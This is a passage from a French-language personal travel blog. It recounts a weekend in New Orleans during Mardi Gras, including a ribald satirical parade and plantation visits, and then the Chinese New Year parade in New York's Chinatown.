C’est dans cette ambiance que nous passons notre première soirée en Louisiane. L’ambiance est excellente, et malgré le nombre de bars, les gens savent se tenir et ne pas plonger dans l’excès éthylique.

Le lendemain matin, nous partons arpenter les ruelles du French Quarter. Malgré les festivités de la veille, les rues sont incroyablement propres. La balade dans les petites ruelles est très agréable. Nous prenons notre petit déjeuner dans un très bon restaurant au bord de Jackson Square, à l’angle de St Ann St et de Chartres St. En face de ce petit parc, se situe la cathédrale Saint Louis, l’une des plus vieilles cathédrales des Etats-Unis. Se promener dans la Nouvelle Orléans en cette saison de l’année est vraiment reposant : la température est doux, l’air pas trop humide, le temps ensoleillé, et la ville possède d’innombrables charmes, que ce soit au niveau de l’architecture, de la cuisine ou de l’ambiance générale. On passe même parfois devant un écriteau en français, qui nous rappelle notre lointaine présence de la région.

Nous profitons du beau temps pour aller faire une croisière sur le navire à vapeur, le « Natchez« . Il s’agit du dernier bateau à vapeur croisant encore sur le Mississippi. Si comme moi vous avez été fan de la « jeunesse de Picsou» , cette petite excursion vous rappellera forcément les aventures du richissime canard sur le fameux fleuve américain. Mais malgré ce petit sursaut nostalgique, et outre l’aspect relaxant, la croisière présente peu d’intérêt : le Mississippi au niveau de la Nouvelle Orléans, c’est surtout des grosses industries qui s’intègrent assez mal dans le paysage. Si faire la sieste pendant 2h en naviguant sur un fleuve boueux présente pour vous peu d’intérêt, passez votre chemin.

Après avoir un peu cramé sur le bout du nez (oui oui, j’avais ma crème, ma casquette, tout va bien), nous finissons notre petite après-midi découverte par une dégustation de beignet au café du monde, qui ne désemplit pas de la journée. Nous ne traînons pas trop, le premier défilé de 2009 va bientôt avoir lieu, autant se mettre aux premières loges!

La foule commence à s’assembler sur les trottoirs qui longent l’itinéraire du défilé. L’ambiance est bon-enfant : pas de barrières, pas de policiers à outrance (contrairement au défilé du nouvel an chinois). La nuit tombe, et au loin on peut entendre une clameur gronder et s’intensifier à mesure que la progression s’avance vers nous.

Je m’adresserai ici à mes camarades d’école de chimie : vous pensiez que les chars du TIC pouvaient être vulgaires offensants, déplacés et orduriers…ce sont des chars de bisounours comparés à ceux que j’ai pu voir ce soir là. Quand on pense défilé Mardi Gras, on ne s’attend pas à voir passer un char portant une représentation géante de Bush se faire violenter le fondement par une Miss Monde montée comme un âne, ni voir le petit monsieur à moustache du Monopoly se faire faire une gâterie par une quelconque personnalité politique (j’aurais dit Hilary…). Le thème de ce défilé était la crise politique… mais le tout tourné version « cul» . Bon je passerai sur le défilé des hommes et femmes vêtus de peau de bêtes et distribuant des  préservatifs à la volée, mais j’aurais du mal à m’enlever de la tête le groupe « Bondage» , vêtus de cuir, armés de fouets et  caressant les spectateurs avec leurs vibromasseurs. Si les autres défilés du Mardi Gras sont plutôt softs et familiaux, celui là est traditionnellement beaucoup plus osé…c’est pas si mal! Ce fut donc un grand moment de n’importe quoi comme je les adore. A tous les élèves en chimie : y’a du niveau à relever pour le TIC!

Pour bien conclure la soirée, nous retournons approfondir notre connaissance des bars de la ville : boissons, karaoké, danse, groupes de musique, il y en a pour tous les goûts!

Bilan de la soirée : des préservatifs plein les poches, des « beads»  plein le cou, un petit fouet en plastique offert par un SM lors du défilé : la valise sera bien remplie au retour.

Le lendemain matin, nous avons prévu d’aller visiter les anciennes plantations de coton/tabac situées dans l’arrière pays. Je passerai assez vite sur ça : plusieurs plantations sont accessibles, mais des grands domaines il ne reste en général plus que la maison principale. La visite est certes intéressante, mais il n’y a pas grand chose à voir, on fait assez vite le tour. Les conditions de vie des esclaves sont des parties presque totalement éludées, on apprend finalement relativement peu de choses. Notre choix s’est porté sur une visite complète de la Laura’s plantation, et un passage devant la Oak alley plantation, dont l’allée de chêne a été rendue célèbre par plusieurs films.

Pour compléter le séjour, il est aussi possible de faire des visites en bateau dans les marais, mais par manque de temps nous devons rentrer vers l’aéroport (puis bon, les marais on a déjà donné en Floride!). Alors la Nouvelles Orléans en un week-end, ça se fait? Si vous voulez vraiment découvrir le pays, bien sûr que non, il y a beaucoup de chose à voir dans la ville, et encore plus dans l’arrière pays, dit « le pays cajun» . Mais pour profiter de l’ambiance folle de la ville, surtout en cette saison de l’année, ces deux petits jours ont été parfaits, on a vraiment pu s’éclater!

Galerie photo du week-end à la Nouvelle Orléans (cliquez sur les vignettes pour voir la photo) :

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Pour fêter ça, les communautés chinoises des grandes villes américaines organisent de grands défilés dans les rues, auxquels participent les principales associations des différents quartiers. Je croyais qu’après les vacances de Noël j’allais faire un petit break de New York, mais l’appel des festivités a été le plus fort. Nous revoilà donc le 1er février, dans la Big Apple, appareils photos à la main, alors que de plus en plus de gens se massent sur les trottoirs de Canal Street en plein cœur du quartier chinois.

Beaucoup de familles, accompagnées de leurs enfants, sont présentes. La plupart sont venues avec des tubes chargés de confettis et de rubans colorés : un petit tour de main et les voila propulsés en l’air. Petit à petit le bitume grisâtre de la rue prend des couleurs, les enfants, habillés en costume traditionnels, ou déguisés avec des masques courent dans tous les sens, les festivités ne vont pas tarder à commencer.

Avec un peu de retard le défilé commence enfin : la rue n’est pas grande, les policiers essaient de garder les gens en dehors de la route, mais la chose n’est pas aisée : toucher les dragons du nouvel an chinois porte bonheur, nombreux sont ceux qui essayent de s’avancer pour effleurer les créatures de tissus et de papiers muées par une petite dizaine de paire de jambes.

Les collectifs se succèdent : gagnantes de concours de beauté, hommes politiques, vétérans sino-américains, finalement on retrouve les mêmes groupes que ceux qu’on a déjà pu voir au défilé du 4th juillet, mais plus en rapport avec la communauté chinoise, normal vu l’occasion. Les clubs d’arts martiaux font des démonstrations de leur savoir faire, et de temps en temps un énorme dragon vient vire-volter au milieu du défilé.

Les festivités dureront trois heures, durant lesquelles nous avons pu admirer les différents costumes préparés pour l’occasion. Il n’y a pas beaucoup de pétards, censés faire fuir les mauvais esprits, car la firecracker ceremony a déjà eu lieu la semaine d’avant. L’ambiance était vraiment chaleureuse, et on ne compte plus à la fin le nombre de confettis répandus sur le sol.

Une fois le défilé terminé, la foule se disperse rapidement, la vie new yorkaise reprend très vite son cours. Nous faisons visiter la ville à de nouveaux stagiaires, donc plutôt que de raconter beaucoup de redites, je dirai juste que nous sommes passés chez le chocolatier Max Brenner, qui propose une grande variété de chocolats chauds et autres collations. A noter entre autre : pizza au chocolat et marchmallow, seringues remplies de chocolat, des chocolats chauds qui mettent du baume à nos cœur glacés par le froid hivernal new yorkais.

Pour les prochains articles, je vais essayer de tenir à un article par semaine, à venir : de la débauche, de la violence, mais aussi de la poésie et de l’amour (enfin peut être…).

Galerie photo des chutes du Nouvel an chinois à New York (cliquez sur les vignettes pour voir la photo) :